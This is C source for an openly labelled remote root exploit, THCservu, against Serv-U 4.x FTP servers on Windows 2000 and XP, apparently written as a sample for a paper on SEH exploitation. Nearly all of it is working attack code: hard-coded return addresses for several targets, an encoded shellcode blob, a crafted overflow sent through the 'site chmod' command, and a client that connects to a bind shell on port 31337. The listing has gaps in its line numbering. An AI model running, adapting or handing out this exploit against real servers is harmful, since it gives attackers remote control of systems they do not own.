1 /*****************************************************************************/
2 /* THCservu 0.1 - Wind0wZ remote root exploit */
3 /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */
4 /* THC PUBLIC SOURCE MATERIALS */
6 /* Credits go to kkqq@0x557.org who found that bug. */
7 /* his Advisory: http://www.0x557.org/release/servu.txt */
9 /* compile with MS Visual C++ : cl THCservu.c */
11 /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
12 /* scut, stealth, FtR and Random */
13 /*****************************************************************************/
20 #pragma comment(lib, "ws2_32.lib")
22 char *WIN2KEN = "\xc4\x2a\x02\x75";
23 char *WIN2KPG = "\xc4\x2a\xf9\x74";
24 char *WINXPSP1G = "\x61\x24\xa0\x71";
26 #define jumper "\xeb\x06\x4a\x43"
29 "\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02"
30 "\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d"
31 "\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8"
32 "\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e"
33 "\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb"
34 "\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3"
35 "\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04"
36 "\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce"
37 "\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f"
38 "\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e"
39 "\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38"
40 "\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57"
41 "\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2"
42 "\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8"
43 "\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41"
44 "\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9"
45 "\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43"
46 "\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda"
47 "\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea"
48 "\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8"
49 "\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07"
50 "\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70"
51 "\xda\x63\xe5\x70\x70\xda\x6f";
57 int main(int argc, char *argv[])
59 unsigned short servuport;
60 unsigned int i,sock,sock2,addr,os,rc,rc2,dirlen,craplen=400;
61 unsigned char *user,*pass,*chmod,*recvbuf,*finalbuffer,*crapbuf,*directory;
63 struct sockaddr_in mytcp;
67 printf("\nTHCservu v0.1 - Servu 4.x sample exploit for the paper\n");
68 printf("Practical SEH exploitation - by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
82 directory = malloc(256);
83 memset(directory,0,256);
85 crapbuf = malloc(512);
86 memset(crapbuf,0,512);
88 recvbuf = malloc(256);
89 memset(recvbuf,0,256);
91 finalbuffer = malloc(1000);
92 memset(finalbuffer,0,1000);
94 printf("\n[*] building buffer\n");
96 sprintf(user,"user %s\r\n",argv[3]);
97 sprintf(pass,"pass %s\r\n",argv[4]);
98 strcpy(chmod,"site chmod 666 ");
103 dirlen=strlen(argv[5]);
105 if((strncmp("\\",temp,1))!=0)
107 printf("\nGimme valid path name, ie. \\upload\n");
116 craplen=craplen-dirlen;
118 for(i=0;i<craplen;i++)
121 strcat(finalbuffer,chmod);
122 strcat(finalbuffer,crapbuf);
123 strcat(finalbuffer,jumper);
125 os = (unsigned short)atoi(argv[6]);
129 strcat(finalbuffer,WIN2KPG);
132 strcat(finalbuffer,WIN2KPG);
135 strcat(finalbuffer,WINXPSP1G);
138 printf("\nYou entered an illegal target !\n\n");
143 strcat(finalbuffer,shellcode);
144 strcat(finalbuffer,"\r\n");
146 if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
148 printf("WSAStartup failed !\n");
152 hp = gethostbyname(argv[1]);
155 addr = inet_addr(argv[1]);
157 if ((!hp) && (addr == INADDR_NONE) )
159 printf("Unable to resolve %s\n",argv[1]);
163 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
166 printf("socket() error...\n");
171 memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
173 mytcp.sin_addr.s_addr = addr;
176 mytcp.sin_family = hp->h_addrtype;
178 mytcp.sin_family = AF_INET;
180 servuport=atoi(argv[2]);
181 mytcp.sin_port=htons(servuport);
183 printf("[*] connecting the target\n");
185 rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
188 rc2=recv(sock,recvbuf,256,0);
189 printf("[*] sending username\n");
190 send(sock,user,256,0);
191 rc2=recv(sock,recvbuf,256,0);
192 printf("[*] sending password\n");
193 send(sock,pass,256,0);
194 rc2=recv(sock,recvbuf,256,0);
197 printf("\nError while recv() data!\n");
200 else if (memcmp(recvbuf,"530 ",4) == 0)
202 printf("\nWrong user/pass !\n");
207 _snprintf(directory,127,"cwd %s\r\n",argv[5]);
208 send(sock,directory,256,0);
209 rc2=recv(sock,recvbuf,256,0);
210 if (memcmp(strupr(recvbuf),"550 ",4) == 0)
212 printf("\nError changing to path %s\n",argv[5]);
216 send(sock,finalbuffer,2000,0);
217 printf("[*] Exploit send successfully ! Sleeping a while ....\n");
222 printf("\nCan't connect to ftp port!\n");
226 printf("[*] Trying to get a shell\n\n");
227 sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
228 mytcp.sin_port = htons(31337);
229 rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));
232 rc2=recv(sock,recvbuf,256,0);
233 if (memcmp (recvbuf, "550 ", 4) == 0)
235 printf("\nYou don't have permissions to upload!\n");
240 printf("can't connect to port 31337 ;( maybe firewalled ...\n");
264 printf("\nUsage: <Host> <Port> <Username> <Password> <Directory> <Target>\n");
265 printf("Sample: THCservu 194.44.55.56 21 lamer test123 \\upload 0\n");
266 printf("Targets:\n");
267 printf("0 - Windows 2000 Server english all service packs\n");
268 printf("1 - Windows 2000 Professional german\n");
269 printf("2 - Windows XP SP1 german\n");
288 l = select (0, (fd_set *)&ul, NULL, NULL, &time);
291 l = recv (sock, buf, sizeof (buf), 0);
294 printf ("bye bye...\n");
297 l = write (1, buf, l);
300 printf ("bye bye...\n");
306 l = read (0, buf, sizeof (buf));
309 printf("bye bye...\n");
312 l = send(sock, buf, l, 0);
315 printf("bye bye...\n");